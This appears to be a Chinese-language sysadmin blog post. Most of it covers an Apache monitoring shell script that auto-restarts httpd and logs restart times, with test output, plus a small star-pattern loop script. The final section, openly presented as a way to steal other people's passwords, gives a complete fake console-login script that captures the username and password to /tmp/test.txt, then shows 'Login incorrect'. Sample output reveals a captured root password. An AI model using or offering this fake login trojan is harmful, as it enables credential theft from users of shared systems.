apache服務監控腳本-----自動重啟apache
[root@localhost shell]# vi apache_monitor.sh
#!/bin/bash
while [ 1 ]
do
wget http://127.0.0.1/a.html > /dev/null 2>&1
if [ $? -ne 0 ]
then
service apache restart >/dev/null 2>&1
else
wt=`cat a.html`
if [ $wt != 'OK' ]
then
service apache restart > /dev/null 2>&1
fi
fi
sleep 2
done
[root@localhost shell]# cat /www/a.html
OK
[root@localhost ~]# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 32105 root 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32109 daemon 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32111 daemon 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32113 daemon 3u IPv4 409340 TCP *:http (LISTEN)
[root@localhost ~]# killall httpd
[root@localhost ~]# lsof -i:80
[root@localhost ~]# lsof -i:80 在我殺死httpd進程的大概一兩秒時間內，apache服務沒有起來，但是很快就可以了，
如果是在實際生產中，可以把腳本中的sleep時間改成1.
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)
[root@localhost ~]# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)
httpd 623 daemon 3u IPv4 411612 TCP *:http (LISTEN)
httpd 625 daemon 3u IPv4 411612 TCP *:http (LISTEN)
httpd 627 daemon 3u IPv4 411612 TCP *:http (LISTEN)
[root@localhost ~]# cd /shell/
[root@localhost shell]# ls
access.log a.html.176 a.html.254 a.html.332 a.html.410
a.html a.html.177 a.html.255 a.html.333 a.html.411
a.html.1 a.html.178 a.html.256 a.html.334 a.html.412
a.html.10 a.html.179 a.html.257 a.html.335 a.html.413
a.html.100 a.html.18 a.html.258 a.html.336 a.html.414
a.html.101 a.html.180 a.html.259 a.html.337 a.html.415
a.html.102 a.html.181 a.html.26 a.html.338 a.html.416
a.html.103 a.html.182 a.html.260 a.html.339 a.html.417
a.html.104 a.html.183 a.html.261 a.html.34 a.html.418
a.html.105 a.html.184 a.html.262 a.html.340 a.html.419
a.html.106 a.html.………………
我擦，發現爆表了，忘記了，腳本還沒有完善，需要把這東西全干掉
而且我還想要記錄apache的重啟時間和次數，所以還需要更改腳本
#!/bin/bash
while [ 1 ]
do
wget http://127.0.0.1/a.html > /dev/null 2>&1
if [ $? -ne 0 ]
then
service apache restart >/dev/null 2>&1
echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
else
wt=`cat a.html`
if [ $wt != 'OK' ]
then
service apache restart > /dev/null 2>&1
echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
fi
fi
rm -rf a.html
sleep 2
done
然後我開始做測試
[root@localhost shell]# cat times.txt
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt
[root@localhost shell]# cat times.txt
apache restart at 13-10-15 17:47:27
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
然後我去改a.html的內容
[root@localhost www]# cat a.html
OKiii ----------內容不是OK後，腳本兩秒鐘自動重新下載一次
[root@localhost shell]# tail -f times.txt
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
apache restart at 13-10-15 17:48:18
apache restart at 13-10-15 17:48:20
apache restart at 13-10-15 17:48:22
apache restart at 13-10-15 17:48:24
apache restart at 13-10-15 17:48:26
apache restart at 13-10-15 17:48:28
apache restart at 13-10-15 17:48:30
apache restart at 13-10-15 17:48:32
apache restart at 13-10-15 17:48:34
apache restart at 13-10-15 17:48:37
apache restart at 13-10-15 17:48:39
apache restart at 13-10-15 17:48:41
apache restart at 13-10-15 17:48:43
apache restart at 13-10-15 17:48:45
apache restart at 13-10-15 17:48:47
apache restart at 13-10-15 17:48:49
apache restart at 13-10-15 17:48:51
[root@localhost shell]#
當我改回來後，腳本停止日志輸出，想要知道apache重啟了多少次
[root@localhost shell]# wc -l times.txt | cut -d" " -f1
19
####################################################
順便寫了幾個簡單的腳本，覺得很有意思
#!/bin/bash
a=1
b=5
while [ $a -le $b ]
do
c=1
while [ $c -le $a ]
do
echo -n \*
let c++
done
let a++
echo
done
[root@localhost shell]# ./1.sh
*
**
***
****
*****
寫一個簡單的腳本，來套取別人的賬號密碼
#!/bin/bash
clear
cat /etc/issue| head -1
echo -e `uname -r` "on an" `uname -m`
echo -e -n `hostname | cut -d . -f1` "login:"
read aa
echo "passwd:"
read -s bb
echo -n "username:$aa password:$bb" >/tmp/test.txt
sleep 3
echo -e "\n"
echo "Login incorrect"
pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`
kill -9 $pid
運行效果如下
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
2.6.18-194.el5 on an i686
localhost login:
[root@localhost ~]# cat /tmp/test.txt
username:root password:asdf
